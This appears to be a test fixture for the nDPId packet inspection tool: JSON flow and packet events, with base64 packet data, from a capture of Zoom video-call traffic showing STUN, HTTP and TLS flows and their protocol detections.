+00449{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":221116,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"EBMx8Tl2KDc3AG3ICABFAABI9l0AAEAR+RzAqAF1ov8mDl1fDZYANPpTAAEAGMFdrmNYXRQ5LlgsJgQDvzABAQAUMTIzNDU2Nzg5MDEyMzQ1Njc4OQA="} +00508{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":46,"source":"zoom.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1569520469221,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"162.255.38.14","src_port":23903,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.Zoom","breed":"Acceptable","category":"Video"}} +00449{"flow_id":13,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":47,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":231500,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"EBMx8Tl2KDc3AG3ICABFAABIQ9kAAEARq6HAqAF1ov8mDl1fDZYANPpTAAEAGMFdrmNYXRQ5LlgsJgQDvzABAQAUMTIzNDU2Nzg5MDEyMzQ1Njc4OQA="} +00450{"flow_id":13,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":48,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":242043,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"EBMx8Tl2KDc3AG3ICABFAABIKAsAAEARx2\/AqAF1ov8mDl1fDZYANPpTAAEAGMFdrmNYXRQ5LlgsJgQDvzABAQAUMTIzNDU2Nzg5MDEyMzQ1Njc4OQA="} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":49,"source":"zoom.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1569520469253,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"162.255.38.14","src_port":23903,"dst_port":3479,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00449{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":253995,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"EBMx8Tl2KDc3AG3ICABFAABI+hMAAEAR9WbAqAF1ov8mDl1fDZcANPpSAAEAGMFdrmNYXRQ5LlgsJgQDvzABAQAUMTIzNDU2Nzg5MDEyMzQ1Njc4OQA="} +00565{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":49,"source":"zoom.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1569520469253,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"162.255.38.14","src_port":23903,"dst_port":3479,"l4_proto":"udp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"STUN.Zoom","breed":"Acceptable","category":"Video"}} +00449{"flow_id":14,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":264582,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"EBMx8Tl2KDc3AG3ICABFAABIADMAAEAR70fAqAF1ov8mDl1fDZcANPpSAAEAGMFdrmNYXRQ5LlgsJgQDvzABAQAUMTIzNDU2Nzg5MDEyMzQ1Njc4OQA="} +00449{"flow_id":14,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":274880,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"EBMx8Tl2KDc3AG3ICABFAABIzF0AAEARIx3AqAF1ov8mDl1fDZcANPpSAAEAGMFdrmNYXRQ5LlgsJgQDvzABAQAUMTIzNDU2Nzg5MDEyMzQ1Njc4OQA="} +00475{"flow_id":8,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":320777,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"KDc3AG3IEBMx8Tl2CABFAABbmaFAAO4GvSU0yj7uwKgBdQG71lCVbVR9n9by4FAYAAiMbQAAFAMDAAEBFgMDACig9wZEEh9PXnWzP7UPzglBn2X1WWBPivEs8lK+xK+RUEz6C7r01B7U"} +00406{"flow_id":8,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":320907,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGBPvAqAF1NMo+7tZQAbuf1vLglW1UsFAQH\/4FIAAA"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":55,"source":"zoom.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1569520469340,"flow_last_seen":0,"flow_tot_l4_data_len":295,"flow_min_l4_data_len":295,"flow_max_l4_data_len":295,"flow_avg_l4_data_len":295,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"104.199.65.42","src_port":53867,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00783{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":55,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":340783,"pkt_caplen":329,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":329,"pkt_l4_len":295,"pkt":"EBMx8Tl2KDc3AG3ICABFAAE7AABAAEAGza7AqAF1aMdBKtJrAFCnuOoZVolcQYAYEADYHwAAAQEICiWc2yOz1c0BjkVSpFLY1xT06OSrjoriJgcfK\/\/jFeJ0MBFnTs\/gjSBBTilLonupmCKu9pPH3O3kr0WdmS15RGnoT780kKdV0pI3Sc4BmoL3SDuD+4AKh61lYz9\/Fy+NoN7yg5wYBt1EyrpPMLbLqHBNHL\/bSEl7ELs0VVSBp\/yK5KmmCJ9NxlFB5OhyVsIKKMN16tHZjCMzvfXD8zzASLDMp2Jgo7P\/WwPcHOM+42RSXjbuLZ5ok2AmF+hLRIKzRuPPREeQ7vQwmpDzjOHW9Sf++k9YwzgVZySXAtDkgpGRg+YDLvXpKGuHNj5xgws4SOHXAFvt3QGUXS4yo6IYy8o0BGkEyJuTk1MEHV6JN74="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":56,"source":"zoom.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1569520469341,"flow_last_seen":0,"flow_tot_l4_data_len":1400,"flow_min_l4_data_len":1400,"flow_max_l4_data_len":1400,"flow_avg_l4_data_len":1400,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"35.186.224.53","src_port":53872,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +02281{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":341987,"pkt_caplen":1434,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1434,"pkt_l4_len":1400,"pkt":"EBMx8Tl2KDc3AG3ICABFAAWMAABAAEAGb1\/AqAF1I7rgNdJwAbu\/4X6L2uaJRIAQEAC3VgAAAQEICiWc2ySFp5bjFwMDBZ4AAAAAAAAAkgusoLvJ6vSttM3Q7UxWnNoYus44vvH4fsNNbl6rpvk6OYpGeuvwflaMmUGTYIrirttSlsO38H0GA7wE0xtelFBUIqtPaG2zLaELN02TEy8tUFQrsrqVaYUsCYJ2hIqsiRr8HUVz8JaKDjyEbW\/6SDuFmHrK8XtHElqv0awJOAEmL3KNt0jVBWwHCGEFsZPcfO1pHuuoiBuup3wZUBRnIJST+dFPme0TV6vJ+IxOjx\/mA8fFWqQdV0lKttFkpnySiRxX5yrxpipVJy4p7z67+kAmdWhmjAbJ0jKiyDw+DcyTkynUokZHprab8MCYp\/TQx3xlQiW8+bdGrifHDAXawAfxdyEnxRfDIbdQKLwqUd3q\/7pZfr\/4d1tUDgm0WlajX7mPfF9WlQlsZCy+ChrMLq6KB65LC24miZN0Oh\/kWW3n1lqgTdT6wyEHUQbhN7aMRFDURjgWnZBDWn4PrH7p5zNvQSTu1\/tX7DHH9FI+E\/S8F73db4ge7KXn\/dETNp0MT++lGzZNvQ8tP2HIXFPFo1PFoNApoahzcRPgbV1rmTnmuWdwR6k9v2rQ51IRkvomJ5+TW8zK\/T3dpZj8bQ2ZXFOOqjyv1+mdfNtQelTeuF+xFuT9k3w43crUkirHNjO6HDcTH8g5iwOfX\/P5Ze+j2MahTCw4IqO2cgO0GUqqgaRqFgkBd4qtJfEyTzJvn2QyDNF8nXiqgRtiC89ltDf6sKzt1TUcglqiIso29y4WBLLmAnOlHxC5COmZYEu0CraDE3vjq3Eo6QVYa5U+p4OKJ9K9r563eLKRSjLRb\/GJwoU19nJfa5zVERWEq0IToF\/rMA7vLUy3muT3dZmJxkOsSuFN\/Usyd+T412g2p1ZdXXnKqATMbFhbdBtC\/y58N+Ld\/82QR9uhyJTGIl+G7bL56l07dPTLTdZ8Usdj23buwPw30vMgmi+E2m8MN9Y502dlBs94rGej8il7sUNS4pRHgYLTyWg6cZyS8AsHVWXff0sHuCuhPPV8M5EKNXzyntJ0gexz8gHMiqPY4NI0Ni\/OneEqQ4C8E6uqXvI2kcZ2BOG\/p4MX8o3AIWp7ayyFuWOJxi2lw6TEu8NuHHmGI4kv4FI3\/kgSQc6sf3SB44BSo3k4njWMAfAGbStQzO7TdByZBgUmqKdUtWCav3gJeVcsVZvgE+oEb2RNn0kn49ZouFmtBZa4MHnF81Rig78AE6ulpakr3aQ66b3O\/vtpHtpLOQcnjEQ\/qS+\/M1GayjxpQWCXEP02WwpvuLolzsWcvLf0N4iVpkzaVwjd0PnTczMC0nRmMJNbIBUnjIjJ5eKWfHSbRJbj\/MtVxqJwc8zwost2cccITh0lHc81zUSBD7GSF5b9zV7g2B0N4HfRanVjZhq4\/wraioSAC+795Umn4JCnMPSUAwuEnGuY7\/qhVrVORRO8KqXtC5\/5m+ff6XLy24O2WsPRzzPmP37Tt6opYkQlNaCU6f6MSh5leucVqZunkohryKjXGP2HU49rKyG4sSngfKn7U3ByAtKcO8nimiTP81z1QcgS2WUUKeZI5VJBPQ5toQ20MunmnQc+AjUHR7cCT28cN30m+ZL49Jt0RzL1N4yKvfdecf7UAMl9WG3IWewXXS8itIsi3DkAYv6t2MOlXE9XEWXdwxfePqJvzpR\/iHVQx\/6oobZRIQjxTbqoCvtXEg2uj6gJpcxIkn9+KrUGRl5tdROeMX0NbfZvt+g+tOcHvsvl+k5qrsiSB57D9TdRPsfMHD4AQRHjKQWksr1jHIvNkgNXnSPAu9+rrqEJ8piMP7LlZAKGZwhC"} +00526{"flow_id":16,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":57,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":341990,"pkt_caplen":141,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":141,"pkt_l4_len":107,"pkt":"EBMx8Tl2KDc3AG3ICABFAAB\/AABAAEAGdGzAqAF1I7rgNdJwAbu\/4YPj2uaJRIAYEACuSgAAAQEICiWc2ySFp5bjD8rJVgENkhz7SGo+3tsT+62YMYedQzLcJKiig4pAH+hO24ZoiQ1LNK0ZidRBnPFEPrr+zH4y+BGqQ1wCDA9XJFEjegtqGmZzuBXv"} +00422{"flow_id":16,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":58,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":354376,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA07H8AAHcGkTcjuuA1wKgBdQG70nDa5olEv+GD44AQA\/fBegAAAQEICoWn6LklnNsk"} +00422{"flow_id":16,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":59,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":354395,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA07IAAAHcGkTYjuuA1wKgBdQG70nDa5olEv+GELoAQA\/fBLwAAAQEICoWn6LklnNsk"} +00436{"flow_id":12,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":60,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":356931,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8r3lAADEREA2i\/yUOwKgBdQ2WXV8AKOI\/AAIADMFdrmNYXRQ5LlgsJgQDvzABAwAIAAH\/dVC03O8="} +00436{"flow_id":12,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":61,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":366274,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8r4BAADEREAai\/yUOwKgBdQ2WXV8AKOI\/AAIADMFdrmNYXRQ5LlgsJgQDvzABAwAIAAH\/dVC03O8="} +00500{"flow_id":15,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":62,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":370876,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"KDc3AG3IEBMx8Tl2CABFAABrxSVAADUGFFlox0EqwKgBdQBQ0mtWiVxBp7jrIIAYACoMGQAAAQEICrPWHtMlnNsjzR67t55lmahUyt3+F7wIZY40kmp5z0B6VTx\/VJbCVWp7syOQaUpp1Ik5I7MknMnzBR1VLfTDBg=="} +00422{"flow_id":15,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":370958,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGzrXAqAF1aMdBKtJrAFCnuOsgVolceIAQD\/4OlAAAAQEICiWc2z+z1h7T"} +00436{"flow_id":12,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":375868,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8r4JAADEREASi\/yUOwKgBdQ2WXV8AKOI\/AAIADMFdrmNYXRQ5LlgsJgQDvzABAwAIAAH\/dVC03O8="} +00437{"flow_id":13,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":65,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":379180,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8wX9AAC8R\/wai\/yYOwKgBdQ2WXV8AKOE\/AAIADMFdrmNYXRQ5LlgsJgQDvzABAwAIAAH\/dVC03O8="} +00437{"flow_id":13,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":388383,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8wYNAAC8R\/wKi\/yYOwKgBdQ2WXV8AKOE\/AAIADMFdrmNYXRQ5LlgsJgQDvzABAwAIAAH\/dVC03O8="} +00437{"flow_id":13,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":399008,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8wYdAAC8R\/v6i\/yYOwKgBdQ2WXV8AKOE\/AAIADMFdrmNYXRQ5LlgsJgQDvzABAwAIAAH\/dVC03O8="} +00534{"flow_id":16,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":400301,"pkt_caplen":145,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":145,"pkt_l4_len":111,"pkt":"KDc3AG3IEBMx8Tl2CABFAACD7JkAAHcGkM4juuA1wKgBdQG70nDa5olEv+GELoAYA\/fVZAAAAQEICoWn6OclnNskFwMDAEoAAAAAAAAB6MN7wp9u4akJwLqZdThmaA8fFcFV3\/4PlaF6SVkQyeIW7I3opea1y20mFjm7ELOMOFjmLa+aboZQkIA5Eyn2k2lH4w=="} +00423{"flow_id":16,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":69,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":400378,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGdLfAqAF1I7rgNdJwAbu\/4YQu2uaJk4AQD\/20dQAAAQEICiWc21uFp+jn"} +02346{"flow_id":16,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":70,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":401245,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"KDc3AG3IEBMx8Tl2CABFAAW+7JoAAHcGi5IjuuA1wKgBdQG70nDa5omTv+GELoAYA\/dP5wAAAQEICoWn6OclnNskFwMDBYUAAAAAAAAB6XoohBMnVPPRrLUhxn3cQsLtv0nNvI15xkPqGbS6GjelwrBBTOObbKXRhh9PieadtOakPTCHka4tFkkxhzmjkF1DBWAvtyJNas7+k3hA6edtbGfkyL75jIPqBvGgzckZuXjxVvQ0wH0fjnWMOfdHfDb087fLJty5UodpfAtZoHtWWSHj6fE0h6TfmhqsSlZOQ8gMTTiJyVbo9dsKUJvXuRnWa4zr0d\/JSviOZq0HmhvRo9aKbc62kp8JLz2ECOnuh2F3cjY9JhHIG0sypuxQ\/J7USHNFomwPJRiY60Cwa0YCixGN0Sf5mYXHWw1EYw4Oh\/HL0Gr4ZW5t\/pkitoyPjJmVQCWMMFZ7DhT2a7wdhRPScIHiIMT5NoRbgIdC+BUj7MVIZCsxpWCqlm\/1f0Jjk+8psofpZkQ+Ag6OAKDNHuDLJZ246gI3zIgaBnOm3c57XvBl9KGuRhawa9oodIObGiWLeX2sGb3wCX08bR84YFsRsscFXQ7Z+zROA9hqdf+Gn7K\/hTIVHxtt5YRNe3p8ZvXIzQKw+GAoukVJZbR\/DbOyi0i8KoUGSy9yOBfidlmR5+jGWIL34WIYG5v5rW5jMyHkBPiELbEoV44XOk75VT\/cyIVG1F4YwlI3USev1VehQ4BRhBGAiTvna6EEus+3HenpdoOe+O0jwZED4xEUYrddlekqzDag3qScp0uAGlkEFsitnQID2vXr7iWEoad\/YZegFFUbigLCRD1yH3BDy0If7FqgWI\/0rCLrkGXHgQqG9TL7op4VhbFqUNWN6rHzI8rnCWIXoWC7wuorqdrs6\/kCrzrcwA0Qk1kmHDRmw5J5XYqVARGpueB+XyP28Ai5+LfSaFjCDKpx1zZ934RZQB+rIZnd94vz9R1T43CGaKflaAX5gdCTxzwpyp3PGrHyV2+PA9ArGJZnj7Pubagp8muM2Q+6tQeRYZWOFS1ODVmEAsh+m9vIIcmuBodLXqIZtgNZdOsrfNiY0SwO1vvCiOUqDgK\/LlBPR+OIwAfMDDtKyF4numYNuUAyBhKcbatOcRueWDEamrB7oyRFY8diI4nrpJntPn9jQ5BuDkVS5mY8MeqRYXS0a16DPl5AEoBk3EWO9F44lPrJergWE1U2+P7NT\/5xmUPJ8YKSFl44QwbtOx5wfdD3hRpRF5dVPD+f9E9\/2s8qjidFs+HG38m+5UF+QlCJJ3HwsIuNzDt+0UbzDDjumCXMIUnzv9xVUuHlH3Hfph0cCYPxUEYkTh25X\/KA2vKKWoQ46A6mHH4\/sRWb+oWVITIWAMqVig21IDz4j69cqw9blh31h9FDoldhd3mBfcFRbga2TrIGivwOoeumQyZ+xHjGbhDDruTwJK1Envx0SM6py5pypZVhkoxAaDYYi\/Nuh9sNRz\/XQqZ6VabhOsqN0wXtDXV\/8f+WRegglJwCb40vOIu0vmrawHyb8wmu68JzgrR3z8UJGwoPILu6NgU0mvP7bcICaQTEVK8euQ7dOSjS+krgUWak1ScPAc4TiCaoQjUlMfgW6356HouGTQCNicjOvxgeTqhCNMfbOcYUt7j0vjjAJgQDSab4\/XruObjoDxy0yyxb8NCUxnmtiNFx44v08v49CgRFkyyKg7H6DWQnhkyqsF+LhFdMuCLy5rXVxGks2G3gflpwNOuSRsVTkBEPaFCXY4HOB9qPjX0QF3kgRfGyMp6lh\/wzioBktCoVOOp+qp\/YJt1yNFoojMBXF07uiOkMhnKZIXBYzxmfiI0H\/7eDu8Ek3M4zlHcxW46Vb\/WhDjrRPDYkoIsbmnzVkRX+GkMxah+Ir8b8nM7r\/o4B9av74m4LUeLpz565\/cuzYkz5roOobwiLaSBN4Ikga6AlqjL9dFl78BI="} +00422{"flow_id":16,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":71,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":401288,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGdLfAqAF1I7rgNdJwAbu\/4YQu2uaPHYAQD9OvFQAAAQEICiWc21uFp+jn"} +02344{"flow_id":16,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":72,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":401493,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"KDc3AG3IEBMx8Tl2CABFAAW+7JsAAHcGi5EjuuA1wKgBdQG70nDa5o8dv+GELoAQA\/fs2wAAAQEICoWn6OglnNskFwMDBYUAAAAAAAAB6lPwTnfoGn7L+UcT56pzeyulFyQzg5aBjQu6ZUY9YNoevqq+Fkg7BLOcjmRfi2eHVjHCpkU5pJ3h1XUZeM4zwc5pn943PIPOY3ojswROBgJbHDN1oCxxjj49fMX0Yjeg4wIeigb2h6XgtTMSjov8fg7tL9QKJaV2yt\/5V5y1ftmo6i0cT6nKshy18Q2+pJg7IJpWh4g9Zrp6yC4UuBT54msk7xAMbDFwLPr\/+N0zV5i91np8gMn7ZJutIA37BaG\/r0Rl0+2D\/\/d\/M9mrmFjECBxLaHmMPJV326lQlrC83ov2Fn5ZntvkwmCCoSiTrH8Riz9uca7BCHJz\/C+A5TLfUvodb90l03swYAxdEHHdACqpEIn+cIafkPIS3f+h+rPd30snNgmS9dHShIvHN7Oc5qfgwvN+xTTsrTJL2Jf4HDaEelBTmx9m3dbfys2BRKfcJczcmoaqSvIRQ1v5mxxLapBqO\/1eUtSwHkLtpLU7ALY8dZ+bjuavp+ouU3o3Pn1gjNUNP8xj19y1aVk32RiWWxg0n6xRQJdn70V22hSgKtvygm07G\/KTNEWE6A+S0jE7UEGlB6m6ujdKlxFHcRDG38uUdOuKNWp9dcj3f3CWokmlW1MGzoj\/cM44Uk\/S1mmHz34oBHMKWnkYt\/RlQFrSE8Su+BbuJv17i9oT\/4lJqX708ogr7CKiBaZHhrsIEGPq+I1fg\/C6HfCxGBruf2UrW6sVshcsESGPg4i2ZFY0f0\/xKuXBYHbpi9ZFDL0C1yH7\/zMv73XkoDunxAl9nEYpHIVKkRmRXRKuw8UXv02OWDAnewjjTDU0F27Lt7qHyErazCIi8EKu\/RmddOtUWgN1Ev8E6gUZ8kMqHkWcNosBr\/NqmM9cZh6DuAJnK\/aH5+on\/b2hbJ7CB7FoLg5qczTSAlxRpyvIgm\/uplgksr9xFTFOjzEBFmhPFTyW3+z9HAW1G7O63FIQnsP6Gu92mCb3dFFwLCKsMqEfZ6hIRma1VAf7S2e1EGApwTm1Pc8s9DEQXKd4OGn8fPndcanv0qcBJAmB16wpiQjHq+jaZrsyCZ6v9Bwl3GBOUMHfGTaWaUCFG3qoynfPgDXjkjcUJ77c8yEeAF7H41zWXtgkkqiuh0+CM3Gz3XCMgYmnx\/xOI9q4fSwYCEJier4iJxc6cagRaINXvTKnCSLrUuiMG4ljH4Xw7YeGye0TvEwzZlC6O53GSfLTlv0HwClfhYgYO1H0PXaCZCyYOhcnKI8t7JnD3ykzDt1okOfIqbiSDQ0KI+ObBFxlE5suJj+kmV5FCbYj7tdlSCTKpD9SM8rnOJs3uvKQ8bzaOto37OZQK4pnVsk2ugqXmVK9M\/3+\/3K0lgVNNYqw9fAYCU9PH5mhtLvcvt5LAdPkMoaAFs6fvUoEsWcqKwtQeUAOOKYqjgjYyz1HNt6vh5jZvashB+YgOjyK1XNkxwO8XDSNBDyBNUy+R+6wk+sCuWMHnrrqTlw4TkADm2nMzNShkgCZp0g4+ojNsLO8yscauWxd09s4EMJ+8R+ozJR+6NHsBLeh7if+wQ6q+0HHJ3X1knt4QOEABJbfCIkSUfDefhzdw3o8RDssCHFnA3AFPKIHV37OMGlhHPyBvxCOSMx4ZAjYdNRcxfylal7tzvLV7MBJxDnrVj1dNouFG1NOkv3fSoIqdOsM3ubqYQAwQ8hOx